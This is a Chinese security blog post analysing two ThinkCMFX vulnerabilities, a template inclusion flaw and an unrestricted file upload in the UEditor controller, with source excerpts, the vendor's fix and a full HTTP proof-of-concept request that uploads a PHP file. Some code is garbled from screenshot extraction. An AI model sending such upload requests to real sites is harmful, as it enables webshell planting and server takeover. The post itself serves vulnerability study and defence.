ThinkCMFX 前台getshell漏洞分析

<u>芳华</u> / 2019-11-09 11:17:12 / 浏览数 5376 安全技术 漏洞分析 顶(0) 踩(0)

1.ThinkCMFX 前台文件包含漏洞分析

简介

ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架。 cmfx, 在 ThinkPHP 3.2.3上,它与 ThinkCMF ThinkCMFX based相同,并且从thinkphp3抽象出了四个base Controller,HomebaseController、AdminbaseController、AppframebaseController、MemberbaseController。

官方给出的修复结果如下

ThinkCMFX入侵问题的解决方法

10月24日 09:46 @146 ☆

大概是10月22日开始漏洞入侵,入侵版本为thinkCMFX的所有版本,就是thinkphp3.2版本的thinkcmf


修复方法

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰由原来的 public 改为 protected

漏洞成因

Thinkphp3中模板渲染经常会使用到View层中的fetch、display、assign方法,之前thinkphp3曾出现过的安全问题正是发生在这模板引擎渲染过程中所导致,如tp3.x任意了解了这个,看thinkcmfx从tp3.2.3抽象出来的控制类,通过调试发现传入的content进入到了HomebaseController.php的fetch中

F7跟进调用了thinkphp的controller类,然后最终调用think核心的view,



从Hook::listen一路跟下去,进入到listen方法中

在listen中可以看到将\$centon传给了view_parse传入的参数\$params然后进入到了exec

```
php × ② Thinkclass.php × ② finctions.php × ② Storage.class.php × ② Fle.class.php × ② HomebaseController.class.php × ② Controller.class.php × ② View.class.php × ② Hookclass.php × ② Hookclass.
```

有插件时执行进入第二个if,直到跟踪到run

在run方法中调用think模板引擎if判断是否存在生成了模板缓存文件否则进入think->Template进行编译并加载模板文件,继续跟进fetch可控的参数名变成了\$templateF:

可以追踪到该可完全控制的变量又进入到了编译模板内容方法中,在compiler中可以发现

```
*/
protected function compiler($tmplContent) {
    //模板解析
    $tmplContent = $this->parse($tmplContent);
    // 还原被音换的Literal标签
    $tmplContent = preg_replace_callback( pattern: '/<!--###literal(\d+)###-->/is', array($this, 'restoreLiteral'), $tmplContent);
    // 添加安全代码
    $tmplContent = '<?php if (!defined(\'THINK_PATH\')) exit();?>'.$tmplContent;
    // 优化生成的php代码
    $tmplContent = str_replace( search: '?><?php', replace: '',$tmplContent);
    // 模版编译过滤标签
    Hook::Listen( tag: 'template_filter', &params: $tmplContent);
    return strip_whitespace($tmplContent);
}
```

可控的\$tmplContent直接拼接到了php代码中。

调试后如下图

编译完成后返回编译后的文件。

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我们看一下`Storage::load方法干了什么:直接进行了文件包含,就这样我们的代码就被成功执行了。

```
*/
public function load($ filename,$vars=null){
    if(!is_null($vars)){
        extract($vars, extract_type: EXTR_OVERWRITE);
    }
    include $ filename;
}
```



PHP Version 5.6.27 Windows NT QCLOVER 10.0 build 18362 (Windows 10) i586 System Build Date Oct 14 2016 10:15:39 Compiler MSVC11 (Visual C++ 2012) x86 Architecture cscript /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--disable-zts" "--disable-isapi" "--without-mscql" "--without-pdo-mscql" "--without-pi3web" "--with-pdo-oci=c:\php-sdk\oracle\x86\instantclient_12_1\sdk,shared" "--with-oci8-12c=c:\php-sdk\oracle\x86\instantclient_12_1\sdk,shared" "--with-enchant=shared" "--enable-object-out-dir=../obj/" "--enable-com-dotnet=shared" "--with-mcrypt=static" "--without-analyzer" "--with-pgo" Configure Command Server API CGI/FastCGI Virtual Directory Support disabled Configuration File (php.ini) Path C:\WINDOWS **Loaded Configuration File** $D:\php\PHPTutorial\php\php-5.6.27-nts\php.ini$ Scan this dir for additional .ini files (none) Additional .ini files parsed (none) PHP API 20131106 **PHP Extension** 20131226 Zend Extension 220131226 API220131226,NTS,VC11 Zend Extension Build PHP Extension Build API20131226,NTS,VC11 Debug Build **Thread Safety** disabled Zend Signal Handling disabled Zend Memory Manager enabled Zend Multibyte Support provided by mbstring IPv6 Support enabled

通过比较thinkphp3和thinkcmfx调用的fetch可以发现其问题的根源,在thinkphp3中fetch是protected,而在thinkcmfx中可以发现fetch存在于HomebaseController类中 Real World 比赛的一位师傅分析提到了,对tp框架还不是特别的熟悉,于是重新对此又进行了复现分析,确实加深了对tp框架的了解。

2.前台任意文件上传

这个漏洞比较简单,仔细阅读前台源码可以发现。

漏洞发生在前台\application\Asset\Controller\UeditorController.class.php中在上传图片时会进入upload->uploadimage->调用UE上传方法_ueditor_upload如下图所

```
// 百度编辑器文件上传
public function upload(){
   error_reporting( level: E_ERROR);
   header( string: "Content-Type: application/json; charset=utf-8");
   $action = $_GET['action'];
   switch ($action) {
           $result = $this->_ueditor_config();
           /* 上传图片 */
           /* 上传涂鸦 */
           $result = $this-> ueditor upload( filetype: 'image');
           break;
           $result = $this->_ueditor_upload( filetype: 'video');
           /* 上传文件 */
           $result = $this->_ueditor_upload( filetype: 'file');
           break;
                                                                先知社区
```

跟进_ueditor_upload该方法先后进行了设置上传信息、获取上传后缀、文件大小定义允许的后缀名和config信息再交由think的upload.这里主要看think->upload方法

而在传入upload的\$config仔细查看可以发现问题若上传的后缀不在定义规定的允许的上传后缀中时返回值为null如下图所示

```
$file_extension=sp_get_file_extension($_FILES['upfile']['name']);    $file_extension: "php"
$upload_max_filesize=$upload_setting['upload_max_filesize'][$file_extension];    $file_extension: "php"    $upload_max_filesize: 2097152
$upload_max_filesize=empty($upload_max_filesize)?2097152:$upload_max_filesize;//贵认2M
                                                                                                                                                                                                                                                                                                                                            ▼ 先知社区
```

think的upload.class.php中upload方法如下:

```
public function upload($files='') {
     if('' === $files){
        $files = $_FILES;
     if(empty($files)){
         $this->error = '
         return false;
     if(!$this->uploader->checkRootPath($this->rootPath)){
         $this->error = $this->uploader->getError();
         return false;
     if(!$this->uploader->checkSavePath($this->savePath)){
         $this->error = $this->uploader->getError();
         return false;
     $info = array();
     if(function_exists('finfo_open')){
         $finfo = finfo_open ( FILEINFO_MIME_TYPE );
     //
     $files = $this->dealFiles($files);
     foreach ($files as $key => $file) {
         $file['name'] = strip_tags($file['name']);
         if(!isset($file['key']))    $file['key']
         if(isset($finfo)){
            $file['type'] = finfo_file ( $finfo , $file['tmp_name'] );
         }
         /*
         $file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION);
         if (!$this->check($file)){
            continue;
         }
         /* ■■■hash */
         if($this->hash){
            file['md5'] = md5_file(file['tmp_name']);
            $file['sha1'] = sha1_file($file['tmp_name']);
```

```
}
   $data = call_user_func($this->callback, $file);
   if( $this->callback && $data ){
      if ( file_exists('.'.$data['path']) ) {
         $info[$key] = $data;
         continue;
      }elseif($this->removeTrash){
          call_user_func($this->removeTrash,$data);//■■■■■
   }
   $savename = $this->getSaveName($file);
   if(false == $savename){
      continue;
   } else {
      $file['savename'] = $savename;
   $subpath = $this->getSubPath($file['name']);
   if(false === $subpath){
      continue;
   } else {
      $file['savepath'] = $this->savePath . $subpath;
   /* ************* */
   $ext = strtolower($file['ext']);
   if(in\_array(\$ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) \ \big\{
      $imginfo = getimagesize($file['tmp_name']);
      $this->error = '
          continue;
      }
   }
   /* **************** */
   if ($this->uploader->save($file,$this->replace)) {
      unset($file['error'], $file['tmp_name']);
      $info[$key] = $file;
   } else {
      $this->error = $this->uploader->getError();
if(isset($finfo)){
  finfo_close($finfo);
return empty($info) ? false : $info;
```

这里对文件依次进行了检查,在文件处理处跟进通过dealFiles获取到原本的上传文件信息将文件赋给files,遍历files开始上传

}

```
ontrollerclass.php × 體 function.php × 體 function.php × ⑤ Storage.class.php × ⑥ App.class.php × ⑥ Think.class.php × ⑥ Local.class.php × ⑥ Upload.class.php × ⑥ Driver.class.php × ⑥ Local.class.php × ⑥ Upload.class.php × ⑥ Driver.class.php × ⑥ Local.class.php × ⑥ Upload.class.php × ⑥ Driver.class.php × ⑥ Local.class.php × ⑥ Upload.class.php × ⑥ Driver.class.php × ⑥ Local.class.php × ⑥ Upload.class.php × ⑥ Driver.class.php × ⑥ Local.class.php × ⑥ Upload.class.php × ⑥ Driver.class.php × ⑥ Local.class.php × ⑥ Upload.class.php × ⑥ Driver.class.php × ⑥ Local.class.php × ⑥ Upload.class.php × ⑥ Driver.class.php × ⑥ Local.class.php × ⑥ Upload.class.php × ⑥ Driver.class.php × ⑥ Local.class.php × ⑥ Upload.class.php × ⑥ Driver.class.php × ⑥ Local.class.php × ⑥ Driver.class.php × ⑥ Driver.cla
```

调用check()对文件进行检查

```
private function check($file) {
   /* 文件上传失败,捕获错误代码 */
   if ($file['error']) {
      $this->error($file['error']);
   /* 无效上传 */
   if (empty($file['name'])){
   /* 检查是否合法上传 */
   if (!is_uploaded_file($file['tmp_name'])) {
      $this->error = '非法上传文件!';
   /* 检查文件大小 */
   if (!$this->checkSize($file['size'])) {
      $this->error = '上传文件大小不符!';
   /* 检查文件Mime类型 */
   //TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream
   if (!$this->checkMime($file['type'])) {
   /* 检查文件后。*/*/
   if (!$this->checkExt($file['ext'])) {
                                                  先知社区
      $this->error = '上传文件后缀不允许';
```

```
private function checkExt($ext) {
    return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts);
} 先知社区
```

可以发现对文件后缀的检查checkExt存在问题,直接返回的是文件后缀并未检查。如下图所示:

往下继续看,虽然发现又对文件ext判断一次但是显然并无影响最终执行save()

回到UeditorController.class.php中,最后将上传成功后的文件路径信息返回。

```
UeditorController.class.php ×
                              # function.php
                                                # functions.php
Q- sp_get_upload_setting
                          maxSize' => $upload max filesize,//10M
                                            array('uniqid',''),
                $upload = new \Think\Upload($config);//
                $file = $title = $oriName = $state ='0';
                $info=$upload->upload();
                //开始上传
                if ($info) {
                    //上传成功
                    $first=array_shift( &array: $info);
                    $size=$first['size'];
                     if(!empty($first['url'])){
                         if($filetype=='image'){
                             $url=sp_get_image_preview_url( file: $firs
                             $url=sp_get_file_download_url(
```

```
POST /thinkcmfx/index.php?g=Asset&m=Ueditor&a=upload&action=uploadimage HTTP/1.1
Host: 127 0 0 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----
Content-Length: 216
Origin: http://127.0.0.1
Connection: close
Cookie: thinkphp_show_page_trace=0|0;
UM distinctid=16bd194a959e4-00ebc6723d2ccf-4c312d7d-1fa400-16bd194a95b25d;
{\tt CNZZDATA1254932726=146930445-1562588765-http\%253A\%252F\%252F127.0.0.1\%252F\%7C1562}
588765; PHPSESSID=73sbiosbc3lolv4em2b3udv60u; XDEBUG_SESSION=12864;
PbO8id\_think\_language=zh-CN;\ PbO8id\_admin\_username=admin\%40qq.com;\ refersh\_time=0
Upgrade-Insecure-Requests: 1
                 --108571277413382
Content-Disposition: form-data; name="upfile"; filename="test.php"
Content-Type: image/png
<?php phpinfo();?>
                 ---108571277413382--
```

```
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.6.27
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: application/json; charset=utf-8
Content-Length: 132

{"state": "SUCCESS","url": "VthinkcmfxVdataVuploadVueditorV20191103V5dbea75e5e811.php","title":
"test.php","original": "test.php"}
```

HTTP/1 1 200 OK

Date: Sun, 03 Nov 2019 10:09:28 GMT


参考文章

https://xz.aliyun.com/t/6626 https://www.anguanke.com/post/id/189712

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1. 3条回复



Li4n0 2019-11-09 12:18:59

直接复制也就算了,都不标记下参考文章?

2 回复Ta



<u> 芳华</u> 2019-11-11 10:01:43

@Li4n0 不好意思,参考链接忘记了,提交之后才发现没发改了,只能发表之后再修改,~

0 回复Ta



<u> 芳华</u> 2019-11-11 10:05:38

@Li4n0 是有参考,但也进行了重新复现和调试分析~

0 回复Ta

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